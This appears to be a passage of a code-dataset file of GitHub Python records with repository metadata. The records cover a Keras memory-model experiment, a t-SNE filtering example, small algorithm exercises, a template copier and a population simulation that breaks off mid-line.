# input and the query vector\n # Define the model that will turn\n # `encoder_input_data` & `decoder_input_data` into `decoder_target_data`\n #model = keras.Model([main_sequence, query_input_node], similarity_output)\n model = keras.Model([main_sequence, query_input_node], concatenated_output)\n model.summary()\n\n\n model.compile(\n #optimizer=RMSprop(learning_rate=1e-3),\n optimizer=RMSprop(learning_rate=lr),\n #optimizer=Adam(learning_rate=1e-3),\n loss=keras.losses.BinaryCrossentropy(from_logits=True),\n #loss=keras.losses.BinaryCrossentropy(from_logits=False),\n\n metrics=[\"accuracy\"]\n )\n\n return model\n\n\nclass TestCallback(Callback):\n def __init__(self, test_data):\n self.test_data = test_data\n self.test_acc = []\n self.test_loss = []\n\n def on_epoch_end(self, epoch, logs={}):\n x, y = self.test_data\n loss, acc = self.model.evaluate(x, y, verbose=0)\n self.test_acc.append(acc)\n self.test_loss.append(loss)\n print('\\nTesting loss: {}, acc: {}\\n'.format(loss, acc))\n\n\ndef train_model(batch_size, epochs, memory_model, model,\n encoder_input_train, encoder_input_val, query_input_train,\n query_input_val, target_train, target_val, checkpoint_filepath):\n model_checkpoint_callback = tf.keras.callbacks.ModelCheckpoint(\n filepath=checkpoint_filepath,\n monitor=\"val_accuracy\",\n mode=\"max\",\n verbose=1,\n save_best_only=True\n )\n\n def scheduler(epoch, lr):\n if epoch < 10:\n return lr\n else:\n return lr * 0.9\n\n callback = tf.keras.callbacks.LearningRateScheduler(scheduler)\n\n # test train split on the train dataset\n\n history = model.fit(\n [encoder_input_train, query_input_train],\n target_train,\n batch_size=batch_size,\n epochs=epochs,\n validation_data=([encoder_input_val, query_input_val], target_val),\n callbacks=[model_checkpoint_callback],\n #callbacks=[model_checkpoint_callback, callback] # ,\n # TestCallback((encoder_input_val, query_input_val))]\n )\n\n print(\"Number of epochs run: \" + str(len(history.history[\"loss\"])))\n\n # save the validation and test accuracy and loss for further plotting\n # np.save('test_accuracy_' + str(memory_model), np.array(test_acc))\n # np.save('test_loss_' + str(memory_model), np.array(test_loss))\n np.save('val_accuracy_' + str(memory_model),\n np.array(history.history[\"val_accuracy\"]))\n np.save('val_loss_' + str(memory_model),\n np.array(history.history[\"val_loss\"]))\n\n return\n\n\ndef predict_model(model, target_val, encoder_input_val,\n query_input_val):\n\n y_test = model.predict([encoder_input_val, query_input_val])\n y_test = sigmoid(y_test)\n # y_pred = np.argmax(y_test, axis=1)\n # for the kernel functions you would need values which are not 0 or 1\n y_pred_binary = np.array([1 if y > 0.5 else 0 for y in y_test])\n y_pred_continuous = y_test\n return y_pred_binary, y_pred_continuous\n\n\ndef compute_save_metrics(max_seq_len, memory_model, y_true, y_pred,\n sequence_length_val,\n rep_token_pos_val):\n # total balanced accuracy accross the entire test dataset\n y_pred = sigmoid(y_pred)\n y_pred = np.array([1 if y > 0.5 else 0 for y in y_pred])\n balanced_accuracy = balanced_accuracy_score(y_true, y_pred)\n\n # Find the balanced accuracy accross different sequence length\n sequence_len_arr = np.array(sequence_length_val)\n # balanced_acc_seq_len of 0 and 1 are meaningless\n balanced_acc_seq_len = np.zeros(\n shape=(max_seq_len, max_seq_len)) # [0]*(max_seq_len+1)\n\n dist_arr = []\n rep_first_token_test = np.array(rep_token_pos_val)\n # dist_test == max_seq_len means there were no repeats,\n # should be fine as we ignore entries with max len later on\n rep_token_test = np.where(rep_first_token_test == -1, max_seq_len,\n rep_first_token_test)\n dist_test = np.subtract(sequence_len_arr, np.add(rep_token_test, 1))\n\n for seq_len in range(1, max_seq_len):\n # balanced_acc_seq_len.append([])\n for dist in range(0, seq_len):\n\n # get the indices of samples which have a particular sequence length\n seq_len_indices = np.where(\n (sequence_len_arr == seq_len) & (dist_test == dist))\n\n # splice y_true and y_pred based on the seq length\n y_true_seq_len = np.take(y_true, seq_len_indices[0])\n y_pred_seq_len = np.take(y_pred, seq_len_indices[0])\n\n #print(\"The number of sequences are: \" + str(len(y_true_seq_len)))\n if len(y_true_seq_len) > 0:\n balanced_acc_seq_len[seq_len][dist] = balanced_accuracy_score(\n y_true_seq_len, y_pred_seq_len)\n\n #print(\n # \"Balanced accuracy for seq len {} and dist {} is {}\".format(\n # seq_len,\n # dist,\n # balanced_acc_seq_len[\n # seq_len][\n # dist]))\n\n # save the balanced accuracy per seq len\n f = open('balanced_acc_seq_len_dist_' + memory_model + '.pkl', 'wb')\n pickle.dump(balanced_acc_seq_len, f, -1)\n f.close()\n\n return dist_test, balanced_accuracy\n\n\ndef sigmoid(x):\n z = np.exp(-1.0 * x)\n sig = 1.0 / (1.0 + z)\n return sig\n\n\ndef compute_optimal_tau(kern, avg_test_acc, y_true, y_pred, dist_test,\n sequence_length_val):\n # difficulty = seq len; time elapsed since last review = dist; strength =\n # average accuracy.\n # normalize s and d by dividing by 100\n x = [((s * d * 1.0) / ((avg_test_acc+np.finfo(float).eps) * 100 * 100)) for s, d in\n zip(sequence_length_val, dist_test)]\n #test_accs = np.array(y_true.ravel()) & np.array(y_pred.ravel())\n #print(test_accs.shape)\n #test_accs = [0.1 if acc < 1. else 0.9 for acc in\n # test_accs.squeeze().tolist()]\n # test accs now are continuous non-zero values\n\n test_accs = np.array(y_pred.ravel())\n test_accs = [0.001 if test_acc == 0 else test_acc for test_acc in test_accs]\n\n\n if kern == 'Gaussian':\n # throughout training - take average error\n # earlyon maybe a different model is better and maybe at the end a diff\n # model is good - good to capture\n # do this on the validation data\n\n # epochs1 - k use validation acc as strength of model\n # at teh end use test acc as strength of model\n # s and d normalize - s - 1 - 100 -> 0.01 - 1 d - 0.01 - 1\n # use validation acc instead of test acc - best validation acc\n # best epoch try all functions - both papers on val data\n # then do this for every epoch - val data\n # dont use test data to tune hyperparams\n # gaussian\n num = -1.0 * np.sum(np.log(test_accs))\n den = np.sum(np.power(x, 2))\n\n if kern == \"Laplacian\":\n num = -1.0 * np.sum(np.log(test_accs))\n den = np.sum(x)\n\n if kern == \"Linear\":\n num = np.sum(np.sum(np.subtract(1, test_accs)))\n den = np.sum(x)\n\n if kern == \"Cosine\":\n num = np.sum(np.arccos(np.subtract(np.multiply(2., test_accs), 1)))\n den = np.pi * np.sum(x)\n\n if kern == \"Quadratic\":\n num = np.sum(np.subtract(1.0, test_accs))\n den = np.sum(np.power(x, 2))\n\n if kern == \"Secant\":\n # num = np.sum(np.log(1. / np.sum(test_accs) + np.sqrt(\n # 1. / np.sum(np.subtract(np.power(test_accs, 2), 1.)))))\n num = np.sum(np.log(1. / np.sum(test_accs) + np.sqrt(\n np.subtract(np.sum((1. / np.power(test_accs, 2))), 1.))))\n den = np.sum(np.power(x, 2))\n\n tau = num * 1.0 / den\n return tau, test_accs\n\n\ndef compute_l2_loss(tau, kern, test_accs):\n if kern == 'Gaussian':\n print(\"computing l2 loss\")\n f_gauss = np.exp(-1 * tau * np.sum(np.power(x, 2)))\n # test_acc b/w 0 and 1\n f_gauss_loss = np.mean(np.power((f_gauss - test_accs), 2))\n return f_gauss_loss\n\n if kern == \"Laplacian\":\n f_lap = np.exp(-1 * tau * np.sum(x))\n # test_acc b/w 0 and 1\n f_lap_loss = np.mean(np.power((f_lap - test_accs), 2))\n return f_lap_loss\n\n if kern == \"Linear\":\n f_lin = (1 - (1 * tau * np.sum(x)))\n f_lin_loss = np.mean(np.power((f_lin - test_accs), 2))\n return f_lin_loss\n\n if kern == \"Cosine\":\n f_cos = 1 / 2 * np.cos(tau * np.sum(x) * np.pi)\n f_cos_loss = np.mean(np.power((f_cos - test_accs), 2))\n return f_cos_loss\n\n if kern == \"Quadratic\":\n f_qua = 1 - tau * np.sum(np.power(x, 2))\n f_qua_loss = np.mean(np.power((f_qua - test_accs), 2))\n return f_qua_loss\n\n if kern == \"Secant\":\n f_sec = 2 * 1.0 / (np.exp(-1 * tau * np.sum(np.power(x, 2))) + np.exp(\n 1 * tau * np.sum(np.power(x, 2))))\n f_sec_loss = np.mean(np.power((f_sec - test_accs), 2))\n return f_sec_loss\n\n\ndef compute_loss_forgetting_functions(forgetting_function, avg_test_acc,\n dist_test, sequence_length_val, test_accs):\n\n # difficulty = seq len; time elapsed since last review = dist; strength =\n # average accuracy.\n # exp(-seq_len*intervening_tokens/avg_test_acc)\n\n if forgetting_function == 'diff_dist_strength':\n x = [((s * d * 1.0) / ((avg_test_acc+np.finfo(float).eps) * 100 * 100)) for s, d in\n zip(sequence_length_val, dist_test)]\n x = np.array(x)\n f_diff_dist_strength = np.exp(-x)\n f_diff_dist_strength_loss = np.mean(np.power\n ((f_diff_dist_strength - test_accs), 2))\n return f_diff_dist_strength_loss\n\n # exp(-seq_len*intervening_tokens)\n elif forgetting_function == 'diff_dist':\n x = [((s * d * 1.0) / (100 * 100)) for s, d in\n zip(sequence_length_val, dist_test)]\n x = np.array(x)\n f_diff_dist = np.exp(-x)\n f_diff_dist_loss = np.mean(np.power\n ((f_diff_dist - test_accs), 2))\n return f_diff_dist_loss\n\n # exp(-seq_len/avg_test_acc)\n elif forgetting_function == 'diff_strength':\n x = [((s * 1.0) / ((avg_test_acc+np.finfo(float).eps) * 100 * 100)) for s, d in\n zip(sequence_length_val, dist_test)]\n x = np.array(x)\n f_diff_strength = np.exp(-x)\n f_diff_strength_loss = np.mean(np.power\n ((f_diff_strength - test_accs), 2))\n return f_diff_strength_loss\n\ndef kernel_matching(y_true, y_pred, dist_test, sequence_length_val,\n y_pred_binary_pos_samples):\n kernels = ['Gaussian', 'Laplacian', 'Linear', 'Cosine', 'Quadratic',\n 'Secant']\n\n avg_test_acc = balanced_accuracy_score(y_true, y_pred_binary_pos_samples)\n print(\"computing optimal tau\")\n kern_loss = []\n tau_kernels = []\n exp_forgetting_function_loss = []\n # compute x - seq_len*dist\n\n for kern in kernels:\n print(\"Kernel type is {}\".format(kern))\n\n tau, test_accs = compute_optimal_tau(kern, avg_test_acc, y_true, y_pred,\n dist_test, sequence_length_val)\n tau_kernels.append(tau)\n print(\"optimal value of tau is {}\".format(tau))\n l2_loss = compute_l2_loss(tau, kern, test_accs)\n print(\"L2 loss for kernel {} is {}\".format(kern, l2_loss))\n kern_loss.append(l2_loss)\n\n # compute l2 loss for functions from Reddy et al paper\n exp_forgetting_functions = ['diff_dist_strength', 'diff_dist',\n 'diff_strength']\n\n #test_accs = np.array(y_true.ravel()) & np.array(y_pred.ravel())\n test_accs = np.array(y_pred.ravel())\n for exp_forgetting_function in exp_forgetting_functions:\n exp_forgetting_l2_loss = compute_loss_forgetting_functions(\n exp_forgetting_function, avg_test_acc, dist_test, sequence_length_val,\n test_accs)\n exp_forgetting_function_loss.append(exp_forgetting_l2_loss)\n print(\"L2 loss for forgetting function {} is {}\".format(exp_forgetting_function, exp_forgetting_l2_loss))\n\n\n # find the least loss\n min_index = kern_loss.index(min(kern_loss))\n print(\"The best kernel is {}\".format(kernels[min_index]))\n print(\"the value of the loss is {}\".format(min(kern_loss)))\n\n min_index_exp_forgetting_function = \\\n exp_forgetting_function_loss.index(min(exp_forgetting_function_loss))\n print(\"The best forgetting function is {}\".format(exp_forgetting_functions[min_index_exp_forgetting_function]))\n\n print(\"the value of the loss is {}\".format(min(exp_forgetting_function_loss)))\n return kernels[min_index], tau_kernels[min_index]\n\n\ndef main(args):\n if args.debug == 1:\n args.root_location = \\\n '/Users/sherin/Documents/research/server_version_memory/Memory/'\n\n else:\n #args.root_location = '/workspace/memory_clean/Memory/'\n args.root_location = '/data/memory/'\n print(\"Loading the dataset\")\n x, num_samples, sequence_len, token_repeated, rep_token_first_pos, \\\n raw_sequence, target_y, orth_vectors = load_dataset(args)\n\n print(\"processing the dataset\")\n encoder_input_data, query_data, raw_sequence_padded = \\\n process_data(args.max_seq_len, args.latent_dim, args.padding,\n args.nn_model, num_samples,\n x, raw_sequence)\n\n print(\"Creating train and test split\")\n\n # train test split\n (encoder_input_data_train, encoder_input_data_test,\n query_train, query_test,\n target_y_train, target_y_test,\n sequence_len_train, sequence_len_test,\n token_repeated_train, token_repeated_test,\n rep_token_first_pos_train, rep_token_first_pos_test,\n raw_sequence_train, raw_sequence_test) = train_test_split(\n encoder_input_data,\n query_data,\n target_y,\n sequence_len,\n token_repeated,\n rep_token_first_pos,\n raw_sequence_padded,\n random_state=2,\n test_size=0.3)\n\n # train val split\n (encoder_input_train, encoder_input_val,\n query_input_train, query_input_val,\n target_train, target_val,\n sequence_length_train, sequence_length_val,\n token_rep_train, token_rep_val,\n rep_token_pos_train, rep_token_pos_val,\n raw_seq_train, raw_seq_val) = train_test_split(\n encoder_input_data_train,\n query_train,\n target_y_train,\n sequence_len_train,\n token_repeated_train,\n rep_token_first_pos_train,\n raw_sequence_train,\n random_state=2,\n test_size=0.3)\n\n print(\"The number of examples in the training data set is \" + str(\n len(encoder_input_train)))\n print(\"The number of example in the test data set is \" + str(\n len(encoder_input_data_test)))\n print(\"The number of example in the validation data set is \" + str(\n len(encoder_input_val)))\n\n # define the neural network model\n print(\"defining the Neural Network\")\n model = define_nn_model(args.max_seq_len, args.nn_model, args.latent_dim,\n raw_seq_train,\n raw_seq_val)\n\n # train and save the best model\n # adding params like epoch and val accuracy will save all the models\n checkpoint_filepath = 'best_model_' + str(args.nn_model)\n\n print(\"training the neural network\")\n train_model(args.batch_size, args.epochs, args.nn_model, model,\n encoder_input_train, encoder_input_val, query_input_train,\n query_input_val, target_train, target_val, checkpoint_filepath)\n\n # load the best model after training is complete\n print(\"loading the best model\")\n model = keras.models.load_model(checkpoint_filepath)\n\n # test the model on novel data\n print(\"predicting on novel inputs\")\n y_pred_binary, y_pred_continuous = predict_model(model, target_val,\n encoder_input_val, query_input_val)\n\n # compute accuracy based on seq len and number of intervening tokens\n dist_test, balanced_accuracy = compute_save_metrics(args.max_seq_len,\n args.nn_model,\n target_val, y_pred_binary,\n sequence_length_val,\n rep_token_pos_val)\n\n print(\"The balanced accuracy is {}\".format(balanced_accuracy))\n\n # we need to calculate p(recall) only for positive instances, whether the\n # model is able to recall a previously seen item or not, so remove the\n # negative instances : where the query token is not previously seen by the\n # model\n negative_samples = np.where(target_val == 0)\n\n\n target_val_pos_samples = np.delete(target_val, negative_samples[0])\n y_pred_pos_samples = np.delete(y_pred_continuous, negative_samples[0])\n y_pred_binary_pos_samples = np.delete(y_pred_binary, negative_samples[0])\n dist_pos_samples = np.delete(dist_test, negative_samples[0])\n seq_len_test_pos_samples = np.delete(sequence_length_val, negative_samples[0])\n\n\n # learn which kernel best models the test accuracy\n print(\"Finding the best kernel to model the test accuracy\")\n kernel, tau = kernel_matching(target_val_pos_samples, y_pred_pos_samples,\n dist_pos_samples, seq_len_test_pos_samples,\n y_pred_binary_pos_samples)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--nn_model\", default=\"lstm\", type=str,\n help=\"neural network model to be used\")\n parser.add_argument(\"--epochs\", default=1, type=int,\n help=\"Number of epochs to be run for\")\n parser.add_argument(\"--batch_size\", default=50, type=int,\n help=\"Number of samples in one batch\")\n parser.add_argument(\"--latent_dim\", default=256, type=int,\n help=\"size of the memory encoding\")\n parser.add_argument(\"--padding\", default=\"post_padding\", type=str,\n help=\"Type of padding, pre-padding or \"\n \"post-padding\")\n parser.add_argument(\"--max_seq_len\", default=26, type=int,\n help=\"Maximum sequence length\")\n parser.add_argument(\"--debug\", type=int, default=1, help=\"is it debug\")\n args = parser.parse_args()\n\n print(args)\n\n main(args)\n","repo_name":"SherinBojappa/Memory","sub_path":"memory_encoder_mlp.py","file_name":"memory_encoder_mlp.py","file_ext":"py","file_size_in_byte":36253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"28932318296","text":"\"\"\"\nSmall example doing data filtering on digits for t-SNE embedding.\n\"\"\"\nfrom time import time\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sklearn import manifold, datasets, decomposition, pipeline\n\nfrom outlier_filtering import EllipticEnvelopeFilter\nfrom subsampler import SubSampler\n\ndigits = datasets.load_digits()\nX = digits.data\ny = digits.target\nn_samples, n_features = X.shape\n\n\n#----------------------------------------------------------------------\n# Scale and visualize the embedding vectors\ndef plot_embedding(X, y, title=None):\n x_min, x_max = np.min(X, 0), np.max(X, 0)\n X = (X - x_min) / (x_max - x_min)\n\n plt.figure()\n plt.subplot(111)\n for this_x, this_y in zip(X, y):\n plt.text(this_x[0], this_x[1], str(this_y),\n color=plt.cm.Set1(this_y / 10.),\n fontdict={'weight': 'bold', 'size': 9})\n\n plt.xticks([]), plt.yticks([])\n if title is not None:\n plt.title(title)\n\n\nprint(\"Computing t-SNE embedding\")\n\ntsne = manifold.TSNE(n_components=2, init='pca', random_state=0)\n\nsubsampler = SubSampler(random_state=1, ratio=.5)\n\nfiltering = EllipticEnvelopeFilter(random_state=1)\n\nt0 = time()\n\n# We need a PCA reduction of X because MinCovDet crashes elsewhere\nX_pca = decomposition.RandomizedPCA(n_components=30).fit_transform(X)\nfiltering.fit_pipe(*subsampler.transform_pipe(X_pca))\n\nprint(\"Fitting filtering done: %.2fs\" % (time() - t0))\n\nX_red, y_red = filtering.transform_pipe(X_pca, y)\n\nX_tsne = tsne.fit_transform(X_red)\n\nplot_embedding(X_tsne, y_red,\n \"With outlier_filtering\")\n\n\n# Now without outlier_filtering\nX_tsne = tsne.fit_transform(X_pca)\n\nplot_embedding(X_tsne, y,\n \"Without outlier_filtering\")\n\nplt.show()\n\n","repo_name":"scikit-learn/enhancement_proposals","sub_path":"slep001/example_outlier_digits.py","file_name":"example_outlier_digits.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"68"}
+{"seq_id":"43039931834","text":"def paul(x):\n # your code here\n kata = x.count(\"kata\") * 5\n petesKata = x.count('Petes kata') * 10\n eating = x.count('eating')\n total = kata + petesKata + eating\n \n if (total < 40):\n return \"Super happy!\"\n elif (40 <= total < 70):\n return \"Happy!\"\n elif (70 <= total < 100):\n return \"Sad!\"\n else:\n return 'Miserable!'\n\nprint(paul(['life', 'eating', 'life']))\nprint(paul(['life', 'kata', 'life', 'kata', 'eating', 'Petes kata', 'eating', 'life', 'Petes kata', 'life']))","repo_name":"JHanek3/CodeWars","sub_path":"py/pauls_misery.py","file_name":"pauls_misery.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"9520549307","text":"#!/usr/bin/python\n\nimport os\nimport sys\nfrom pathlib import Path\n\ndef get_template_dir():\n home = os.path.expanduser('~')\n path = Path(home + '/.md2x/beamer-skeleton')\n if path.exists():\n return str(path)\n \n root = os.path.dirname(__file__).replace(os.sep, '/')\n path = Path(root + '/beamer-skeleton')\n if path.exists():\n print(path.name)\n return str(path)\n \n print('No template directory. Aborted.', file=sys.stderr)\n exit(1)\n\ndef copy_templates(template_dir, dirs):\n for a in dirs:\n p = Path(a)\n if not p.exists():\n p.mkdir()\n else:\n print(f'The directory already exists: {a}')\n\n with open(template_dir + '/Makefile', encoding='shift_jis') as fi:\n str = fi.read()\n str = str.replace('{slide_skeleton}', a)\n with open(a + '/Makefile', 'w', encoding='shift_jis') as fo:\n fo.write(str)\n\n with open(template_dir + '/config.json', encoding='utf-8') as fi:\n str = fi.read()\n with open(a + '/config.json', 'w', encoding='utf-8') as fo:\n fo.write(str)\n\n with open(template_dir + '/slide-skeleton.md', encoding='utf-8') as fi:\n str = fi.read()\n with open(a + '/' + a + '.md', 'w', encoding='utf-8') as fo:\n fo.write(str)\n\ndef main():\n copy_templates(get_template_dir(), sys.argv[1:])\n return 0\n\nif __name__ == '__main__':\n sys.exit(main())\n","repo_name":"circleratio/md2x","sub_path":"bmconfig.py","file_name":"bmconfig.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"4672128334","text":"def delete_node():\n value = list(map(int, input().split()))\n\n lstr = []\n lstr.append(value[1])\n target = value[-1]\n for i in range(2, value[0] * 2 - 1, 2):\n index = lstr.index(value[i + 1])\n new_value_prefix = lstr[:index + 1]\n new_value_suffix = lstr[index + 1:]\n new_value_prefix.append(value[i])\n lstr = new_value_prefix + new_value_suffix\n\n ind = lstr.index(target)\n lstr.pop(ind)\n return lstr\n\n\nif __name__ == '__main__':\n while 1:\n try:\n res = delete_node()\n print(\" \".join(map(str, res)))\n except Exception:\n break\n","repo_name":"heavens420/base","sub_path":"algorithm/从单向链表中删除指定节点.py","file_name":"从单向链表中删除指定节点.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"33170945922","text":"def merge_sort(alist):\n \"\"\"归并排序\n 归并排序不改变原列表,而是重新生成一个列表\n 最优时间复杂度和最坏时间复杂度都是 O(nlogn)\n 是稳定性排序\n \"\"\"\n n = len(alist)\n if n == 1:\n return alist\n mid = n // 2 # 将列表分为两个部分\n left_sorted_li = merge_sort(alist[:mid]) # 对左半部分进行归并排序\n right_sorted_li = merge_sort(alist[mid:]) # 对右半部分进行归并排序\n\n # 合并两个有序集合\n left, right = 0, 0\n merge_sort_li = [] # 将合并后的列表生成一个新列表\n\n left_n = len(left_sorted_li)\n right_n = len(right_sorted_li)\n\n while left < left_n and right < right_n:\n if left_sorted_li[left] <= right_sorted_li[right]:\n merge_sort_li.append(left_sorted_li[left])\n left += 1\n else:\n merge_sort_li.append(right_sorted_li[right])\n right += 1\n # 当有一边所有元素全部添加到新列表时\n merge_sort_li += left_sorted_li[left:]\n merge_sort_li += right_sorted_li[right:]\n\n return merge_sort_li\n\n\nif __name__ == '__main__':\n alist = [2, 5, 91, 38, 45, 1, 9, 0, 10]\n print(alist)\n print(merge_sort(alist))\n print(alist)\n","repo_name":"wujarvis/leetcode","sub_path":"sort/归并排序.py","file_name":"归并排序.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"71754455576","text":"#coding=utf-8\n# class Solution:\n# def twoSum(self, nums, target):\n# \"\"\"\n# :type nums: List[int]\n# :type target: int\n# :rtype: List[int]\n# \"\"\"\n# for i in nums:\n# other_num = target - i\n# if other_num in nums:\n# if other_num != i:return [nums.index(i),nums.index(other_num)]\n# else:\n# iindex = nums.index(i)\n# llist = nums[iindex+1:]\n# if other_num in llist:\n# return [iindex,llist.index(i)+iindex+1]\n# return('没有匹配的数字')\n\nclass Solution:\n def twoSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n for i in range(len(nums)):\n other_num = target - nums[i]\n if other_num in nums:\n if other_num != nums[i]:return [i,nums.index(other_num)]\n else:\n llist = nums[i+1:]\n if other_num in llist:\n return [i,llist.index(other_num)+i+1]\n return('没有匹配的数字')\n\nnums = [2, 3,5,7, 11, 15]\ntarget = 10\ntwosum = Solution()\nprint(twosum.twoSum(nums,target))\n","repo_name":"tianjinqiujie/LeetCode","sub_path":"LeetCode/1. Two_Sum.py","file_name":"1. Two_Sum.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"39686973266","text":"class ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n def print(self):\n print(\"Node(\" + str(self.val) + \")\", end=\"\")\n if self.next is not None:\n print(\" -> \", end =\"\")\n self.next.print()\n\n# Problem code\ndef addTwoNumbers(l1: ListNode, l2: ListNode) -> ListNode:\n if not l1 and not l2:\n return None\n carry = 0\n dummy = ListNode(0)\n cur = dummy\n while l1 or l2 or carry > 0:\n v1 = l1.val if l1 else 0\n v2 = l2.val if l2 else 0\n l1 = l1.next if l1 else None\n l2 = l2.next if l2 else None\n result = v1 + v2 + carry\n carry = 0\n if result > 9:\n carry = 1\n result = result % 10\n cur.next = ListNode(result)\n cur = cur.next\n return dummy.next\n\n# Setup\na = ListNode(9)\nb = ListNode(9)\nc = ListNode(1)\n\nd = ListNode(1)\ne = ListNode(2)\na.next = b\nb.next = c\n\nd.next = e\n\nprint(\"\")\nprint(\"Adding two numbers:\")\na.print()\nprint(\"\\n\")\nd.print()\nresult = addTwoNumbers(a, d)\nprint(\"\\n\")\nprint(\"After adding:\")\nresult.print()\n","repo_name":"Voley/AlgorithmicProblemsV2","sub_path":"LinkedLists/add/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"10158681873","text":"import numpy as np\nfrom faker import Faker\nimport random\nimport matplotlib.pyplot as plt\nimport networkx as nx\nfrom collections import Counter\n\nfake = Faker()\n\ndebug = False\n\n\"\"\"\n\nImplement genetics system: \n inherit good or bad traits\n eugenics pushes for good traits\n but small gene pool makes emergence of bad traits more likely\n\n\"\"\"\n\nclass Person:\n ID = 0\n\n def __init__(self, age):\n Person.ID += 1\n self.ID = Person.ID\n self.age = age\n self._surname = None\n # Define is_child based on age\n self.is_child = True if self.age < 18 else False\n # 50/50 gender probability\n self.gender = random.choice([\"male\", \"female\"])\n if self.gender == \"male\":\n self.first_name = fake.first_name_male()\n elif self.gender == \"female\":\n self.first_name = fake.first_name_female()\n self.name = self.first_name\n\n @property\n def surname(self):\n return self._surname\n\n @surname.setter\n def surname(self, value):\n self._surname = value\n if self._surname is not None:\n self.name = self.first_name + \" \" + self._surname\n\n # Recent stats: 3% of population is homosexual and 4% is bisexual\n orientation_prob = random.random()\n if orientation_prob < 0.03:\n orientation = \"homosexual\"\n elif orientation_prob < 0.07:\n orientation = \"bisexual\"\n else:\n orientation = \"heterosexual\"\n self.orientation = orientation\n\n if self.orientation == \"heterosexual\":\n if self.gender == \"male\":\n self.spouse_gender = \"female\"\n else:\n self.spouse_gender = \"male\"\n elif self.orientation == \"homosexual\":\n if self.gender == \"male\":\n self.spouse_gender = \"male\"\n else:\n self.spouse_gender = \"female\"\n else:\n self.spouse_gender = [\"male\", \"female\"]\n\n if self.age < 18:\n self.is_child = True\n else:\n self.is_child = False\n\n self.spouse = None\n self.parents = []\n self.children = []\n\n\nclass Family:\n def __init__(self, parents, surname):\n self.parents = parents\n self.surname = surname\n self.children = []\n\n def add_child(self, child):\n self.children.append(child)\n for parent in self.parents:\n parent.children.append(child)\n\n\ndef simulate_population(population_size, initial_family_count, debug, time_steps):\n fake = Faker()\n Faker.seed(0) # Set seed for consistent data generation\n\n population = []\n families = []\n step = 0\n AVG_LIFESPAN = 80 + (step // 10)\n\n\n\n\n # Initialize the population\n print(\"Initializing the population...\")\n print(\"Initializing age distribution...\")\n age_distribution = [random.randint(0, 15) for _ in range(int(population_size * 0.55))] + [random.randint(35, 60) for\n _ in range(int(population_size * 0.45))]\n\n surnames = set()\n # Populate array of unique surnames\n while len(surnames) < population_size / 2:\n surname = fake.last_name()\n if surname not in surnames:\n surnames.add(surname)\n\n if debug:\n print(f\"{len(surnames)} total surnames generated. \")\n for surname in surnames:\n print(surname)\n\n print(\"Initializing raw population...\")\n debug_counter = 0\n for i in range(population_size):\n # Initialize the population with age according to the age distribution\n age = age_distribution[i]\n # Initialize person\n person = Person(age)\n # Add person to population\n population.append(person)\n\n # Give adults a surname\n if person.is_child is False:\n try:\n print(list(surnames))\n person.surname = random.choice(list(surnames))\n # Remove surname from pool once assigned to assure uniqueness\n surnames.remove(person.surname)\n except:\n print(\"Error: Not enough surnames to assign to population. Len: \" + str(len(surnames)))\n exit(1)\n else:\n person.surname = None\n\n if debug:\n debug_counter+=1\n print(f\"{debug_counter} Surname assigned: \" + person.name)\n\n\n\n counter = Counter(person.surname for person in population)\n duplicates = [item for item, count in counter.items() if count > 1 and item is not None and item is not True]\n if debug:\n print(\"duplicates = \" + str(duplicates))\n if len(duplicates) > 0:\n print(\"Error: Duplicate surnames detected: \" + str(len(duplicates)) + ' ' + str(duplicates))\n exit(1)\n\n for person in population:\n if person.is_child is False:\n print(person.name)\n\n # DEBUG: Print population statistics\n\n\n # if debug is True:\n # # for person in population:\n # # print(person.name + ' ' + str(person.age))\n # max_age = max(person.age for person in population)\n # print(f\"Minimum age: {min(person.age for person in population)}\")\n # print(f\"Maximum age: {max_age}\")\n # age_histogram = [0] * (max_age + 1)\n # orientation_histogram = [0] * 3\n #\n # for person in population:\n # if person.age <= max_age:\n # age_histogram[person.age] += 1\n # else:\n # age_histogram.append(1)\n # max_age += 1\n #\n # plt.bar(range(len(age_histogram)), age_histogram)\n # plt.xlabel('Age')\n # plt.ylabel('Population Count')\n # plt.title('Population Demographics by Age, Initial Population')\n # plt.show()\n #\n # total_males = 0\n # for person in population:\n # if person.gender == \"male\":\n # total_males += 1\n # print(f\"Total males: {total_males}\\nTotal females: {500 - total_males}\\nGender ratio: {total_males / 500}\")\n #\n # for person in population:\n # if person.orientation == \"heterosexual\":\n # orientation_histogram[0] += 1\n # elif person.orientation == \"homosexual\":\n # orientation_histogram[1] += 1\n # else:\n # orientation_histogram[2] += 1\n #\n # labels = [\"heterosexual\", \"homosexual\", \"bisexual\"]\n # x = range(len(orientation_histogram))\n # plt.bar(x, orientation_histogram, tick_label=labels)\n # plt.show()\n\n # Simulate population dynamics for the given number of time steps (years)\n print(\"Simulating population dynamics...\")\n max_age = max(person.age for person in population)\n age_histogram = [0] * (max_age + 1)\n for step in range(time_steps):\n print(f\"Simulating year {step}...\")\n # Update ages and track demographics\n print(\"Aging population...\")\n for person in population:\n person.age += 1\n if person.age <= max_age:\n age_histogram[person.age] += 1\n else:\n age_histogram.append(1)\n max_age += 1\n\n # Determine who dies (based on age and life expectancy)\n # Define Gompertz-Makeham parameters\n alpha = 0.05 